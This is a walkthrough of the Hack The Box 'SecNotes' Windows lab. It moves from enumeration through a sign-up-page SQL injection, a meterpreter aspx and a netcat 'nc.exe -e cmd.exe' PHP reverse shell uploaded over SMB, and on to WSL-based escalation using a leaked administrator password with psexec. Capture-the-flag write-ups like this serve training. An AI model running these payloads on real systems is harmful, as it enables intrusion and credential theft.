

Welcome back hackers!! Today we will be doing another windows box named SecNotes. Lets jump in...

Enumeration

```
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
| http-title: Secure Notes - Login
|_Requested resource was login.php
|_http-server-header: Microsoft-IIS/10.0
445/tcp    open  microsoft-ds  Microsoft Windows 7 - 10
microsoft-ds (workgroup: HTB)
8808/tcp   open  http         Microsoft IIS httpd 10.0
|_http-title: IIS Windows
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
Service Info: Host: SECNOTES; OS: Windows; CPE:
cpe:/o:microsoft:windows
```

Just 3 ports are open. Two ports are for http and one for smb which is port 445. We will start with port 445 to look for shares which are accessible and then move to http ports.

Port 445 (SMB)

Neither smbclient nor nmap scripts gave any useful results back:

```
—(root@kali)-[/home/rishabh/HTB/Windows/SecNotes]
```

```
└─# smbclient -L //$IP
```

```
lpcfg_do_global_parameter: WARNING: The "client use spnego"
option is deprecated
```

```
Unknown parameter encountered: "client ntlvm2 auth"
```

```
Ignoring unknown parameter "client ntlvm2 auth"
```

```
Enter WORKGROUP\rishabh's password:
```

```
session setup failed: NT_STATUS_ACCESS_DENIED
```

```
└─(root@kali)-[/home/rishabh/HTB/Windows/SecNotes]
```

```
└─# nmap --script smb-enum-shares.nse,smb-enum-users.nse -
p445 $IP -oN smb_enum -v
```

```
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-20 14:18
EST
```

```
NSE: Loaded 2 scripts for scanning.
```

```
NSE: Script Pre-scanning.
```

```
Initiating NSE at 14:18
```

```
Completed NSE at 14:18, 0.00s elapsed
```

```
Initiating Ping Scan at 14:18
```

```
Scanning 10.129.180.112 [4 ports]
```

```
Completed Ping Scan at 14:18, 0.04s elapsed (1 total hosts)
```

```
Initiating Parallel DNS resolution of 1 host. at 14:18
```

```
Completed Parallel DNS resolution of 1 host. at 14:18, 0.00s
elapsed
```

```
Initiating SYN Stealth Scan at 14:18
```

```
Scanning 10.129.180.112 [1 port]
```

```
Discovered open port 445/tcp on 10.129.180.112
```

```
Completed SYN Stealth Scan at 14:18, 0.04s elapsed (1 total
ports)
```

```
NSE: Script scanning 10.129.180.112.
```

```
Initiating NSE at 14:18
```

```
Completed NSE at 14:18, 5.33s elapsed
```

```
Nmap scan report for 10.129.180.112
```

```
Host is up (0.0085s latency).
```

```
PORT      STATE SERVICE
```

PORT STATE SERVICE

445/tcp open microsoft-ds

NSE: Script Post-scanning.

Initiating NSE at 14:18

Completed NSE at 14:18, 0.00s elapsed

Read data files from: /usr/bin/../share/nmap

Nmap done: 1 IP address (1 host up) scanned in 5.71 seconds

Raw packets sent: 5 (196B) | Rcvd: 2 (72B)

Lets move on to http now.

Port 80,8808 (HTTP)

Port 80 presents us with a login page to Secure Notes.

Login

Please fill in your credentials to login.

Username

Password

Login

Don't have an account? [Sign up now.](#)

Source code doesn't reveal anything. Default credentials didn't work

as admin account doesn't exist. we do have signup functionality available. Lets create an account and see where we land.

Sign Up

Please fill this form to create an account.

Username

Password

Confirm Password

Already have an account? [Login here.](#)

Viewing Secure Notes for **hacker**

hacker [2021-12-20 11:28:14]

+

x

New Note

Change Password

Sign Out

Contact Us

This is the home page. I created a new note and it got displayed on the home page. Also, in the home page you will notice an alert:

Due to GDPR, all users must delete any notes that contain Personally Identifiable Information (PII)
Please contact **tyler@secnotes.htb** using the contact link below with any questions.

Possible disclosure of username and domain name. I used some default credentials for username tyler but didn't work. Brute force is also an alternative, but we will keep this attack for later. Lets move to

port 8808. I ran gobuster scan just to see if there are any other files or directories:

```
(root@kali)~[~rishabh/HTB/Windows/SecNotes]
# gobuster dir -u http://$IP/ -w /usr/share/seclists/Discovery/Web-Content/common.txt --no-error -o dirbust -b 400,
403,404 -q -t 64 -x asp,aspx,php
/Contact.php      (Status: 302) [Size: 0] [→ login.php]
/Home.php         (Status: 302) [Size: 0] [→ login.php]
/DB.php           (Status: 500) [Size: 1208]
/Login.php        (Status: 200) [Size: 1223]
/auth.php         (Status: 500) [Size: 1208]
/contact.php      (Status: 302) [Size: 0] [→ login.php]
/db.php           (Status: 500) [Size: 1208]
/home.php         (Status: 302) [Size: 0] [→ login.php]
/login.php        (Status: 200) [Size: 1223]
/logout.php       (Status: 302) [Size: 0] [→ login.php]
/register.php     (Status: 200) [Size: 1569]
```

There was a db.php page but the status code is 500. We can't access it just yet. I captured the login request and threw it to sqlmap to see if its vulnerable to sqli but both the parameters username and password were not injectable. Now lets move to port 8808.

Port 8808 throws default IIS page. Lets run gobuster again to find directories and files. No directories or files found on this port. Having stuck for a while, I just peeked at one of the walkthroughs for a hint. I tried sqli on login page but what about sign up page. This was my first time, when I was testing on a sign up page.. I will walk you through it.

Sign Up

Please fill this form to create an account.

Username

Password

Confirm Password

Already have an account? [Login here.](#)

In the username field I have injected the most basic sql payload and I have kept the password also with the same value. Submit it. Now go to login page and try to login. You will land to a site like this with all the notes of other users:

Viewing Secure Notes for ' **OR '1**

Mimi's Sticky Buns [2018-06-21 09:47:17]

+

x

Years [2018-06-21 09:47:54]

+

x

new site [2018-06-21 13:13:46]

+

x

hacker [2021-12-20 11:28:14]

+

x

hello [2021-12-20 11:50:39]

+

x

hacker

[2021-12-20 12:00:29]

+

x

New Note

Change Password

If you click on the new site note, you will find a name to a hidden directory and credentials:

new site [2018-06-21 13:13:46]

\\secnotes.htb\new-site

tyler / 92g!mA8BGj0irkL%0G*&

Now, as we have credentials, I tried to list smb shares with the new found credentials and it did work:

```
(root@kali)~[/home/rishabh/HTB/Windows/SecNotes]
# smbclient -L \\\\$IP -U tyler WORKGROUP
lpcfg_do_global_parameter: WARNING: The "client use spnego" option is deprecated
Unknown parameter encountered: "client ntlvm2 auth"
Ignoring unknown parameter "client ntlvm2 auth"
Enter WORKGROUP\tyler's password:
Server role = standalone server

Sharename      Type           Comment
-----
ADMIN$         Disk           Remote Admin
C$             Disk           Default share
IPC$           IPC           Remote IPC
new-site       Disk           password change = yes

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.180.112 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available
```

Lets list the share new-site:

```
(root@kali)~[/home/rishabh/HTB/Windows/SecNotes]
# smbclient \\\\$IP\new-site -U tyler
lpcfg_do_global_parameter: WARNING: The "client use spnego" option is deprecated
Unknown parameter encountered: "client ntlvm2 auth"
Ignoring unknown parameter "client ntlvm2 auth"
Enter WORKGROUP\tyler's password:
Try "help" to get a list of possible commands.
smb: \> ls
.
..
iisstart.htm
iisstart.png
7736063 blocks of size 4096. 3368671 blocks available
```

It seems the files on port 8808 are being hosted here. What if we put a shell here and execute it through the browser. Lets find out.

Exploitation

Generate 64bit meterpreter payload using msfvenom and save it as aspx:

```
(root@kali)~[/home/rishabh/HTB/Windows/SecNotes]
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.14 LPORT=5555 -f aspx > shell.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of aspx file: 3667 bytes
```

Now, using put command, upload the shell to the smb share:

```
smb: \> put shell.aspx
putting file shell.aspx as \shell.aspx (16.3 kb/s) (average 5.6 kb/s)
```

As we have generated a meterpreter payload, we have to start multi handler to receive the connection back. Remember, you have to be quick, because there is a scheduled task running which deletes the newly added files from the share. Unfortunately, I tried numerous times and was not getting the shell back. Probably there is an antivirus or something which is deleting the payload as soon as we run it. What else we can do? We can upload nc.exe binary to smb share, and execute a php script that calls netcat binary and gives us a reverse shell. Lets try that out.

First, copy the netcat binary to the present working directory:

```
(root@kali)-[~/rishabh/HTB/Windows/SecNotes]
# cp /usr/share/windows-resources/binaries/nc.exe .
```

Next, create a php file having contents like this:

```
(root@kali)-[~/rishabh/HTB/Windows/SecNotes]
# cat shell.php
<?php
system("nc.exe -e cmd.exe 10.129.180.112 5555")
?>
```

Upload both the files to the smb share and execute the php file from the browser and you will have the shell back:

```
(root@kali)-[/home/rishabh/HTB/Windows/SecNotes]
# r1wrap nc -nvlp 5555
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 10.129.180.112.
Ncat: Connection from 10.129.180.112:51649.
Microsoft Windows [Version 10.0.17134.228]
(c) 2018 Microsoft Corporation. All rights reserved.

whoami
whoami
secnotes\tyler

C:\inetpub\new-site>
```

Privilege Escalation

I transferred winpeas and let it run. The most interesting piece of information it returned was about wsl or Windows Subsystem for Linux.

```
***** Looking for Linux shells/distributions - wsl.exe, bash.exe
C:\Windows\SysNative\wsl.exe
C:\Windows\SysNative\bash.exe

Found installed WSL distribution(s) - listed below
Run linpeas.sh in your WSL distribution(s) home folder(s).

Distribution:      "Ubuntu-18.04"
Root directory:   "C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs"
Run command:      wsl.exe --distribution "Ubuntu-18.04"
```

You can also run commands like "where" to find exactly where the bash is hiding:

```
where /R c:\windows bash.exe
c:\Windows\System32\bash.exe
c:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe
```

Now, lets drop to bash shell:

```
c:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe
mesg: ttyname failed: Inappropriate ioctl for device

whoami
root
hostname
SECNOTES
```

We are already root. Now, we can transfer to a tty shell:

```
python -c 'import pty;pty.spawn("/bin/bash")'
root@SECNOTES:~#
```

If you type history command, you will notice a juicy information:

```

1 cd /mnt/c/
2 ls
3 cd Users/
4 cd /
5 cd ~
6 ls
7 pwd
8 mkdir filesystem
9 mount //127.0.0.1/c$ filesystem/
10 sudo apt install cifs-utils
11 mount //127.0.0.1/c$ filesystem/
12 mount //127.0.0.1/c$ filesystem/ -o user=administrator
13 cat /proc/filesystems
14 sudo modprobe cifs
15 smbclient
16 apt install smbclient
17 smbclient
18 smbclient -U 'administrator%u6!4ZwggOM#^OBf#Nwnh' '\\127.0.0.1\c$
19 > .bash_history
20 less .bash_history
21 pwd
22 ls
23 ls -la
24 history

```

Administrator password..wow.. Its in the format username%password. Just to confirm whether the password is right, lets fire smbclient and this time we list contents of c drive as user administrator:

```

(root@kali)-[/home/rishabh]
# smbclient '\\10.129.180.243\c$' -U administrator
lpconfig: WARNING: The "client use spnego" option is deprecated
Unknown parameter encountered: "client ntlm2 auth"
Ignoring unknown parameter "client ntlm2 auth"
Enter WORKGROUP\administrator's password:
Try "help" to get a list of possible commands.
smb: \> ls
$Recycle.Bin          DHS          0   Thu Jun 21 18:24:29 2018
bootmgr              AHSR       395268 Fri Jul 10 07:00:31 2015
BOOTNXT              AHS         1   Fri Jul 10 07:00:31 2015
Config.Msi           DHS          0   Mon Jan 25 10:24:50 2021
Distros              D            0   Thu Jun 21 18:07:52 2018
Documents and Settings DHSrn        0   Fri Jul 10 08:21:38 2015
inetpub              D            0   Thu Jun 21 21:47:33 2018
Microsoft            D            0   Fri Jun 22 17:09:10 2018
pagefile.sys         AHS 738197504 Tue Dec 21 14:49:54 2021
PerfLogs             D            0   Wed Apr 11 19:38:20 2018
php7                 D            0   Thu Jun 21 11:15:24 2018
Program Files        DR            0   Tue Jan 26 05:39:51 2021
Program Files (x86)  DR            0   Tue Jan 26 05:38:26 2021
ProgramData          DH            0   Sun Aug 19 17:56:49 2018

```

Voila.. We are in. Now to get a admin shell, we can use psexec.py:

```
(root@kali) - [/home/rishabh]
# psexec.py administrator:'u6!4ZwgwOM#^OBf#Nwnh'@10.129.180.243
Impacket v0.9.24.dev1+20210625.150349.2eff99fc - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on 10.129.180.243.....
[*] Found writable share ADMIN$
[*] Uploading file vhWwKSim.exe
[*] Opening SVCManager on 10.129.180.243.....
[*] Creating service Zbqd on 10.129.180.243.....
[*] Starting service Zbqd.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17134.228]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
nt authority\system
```

We have successfully rooted this machine.. Cheers!!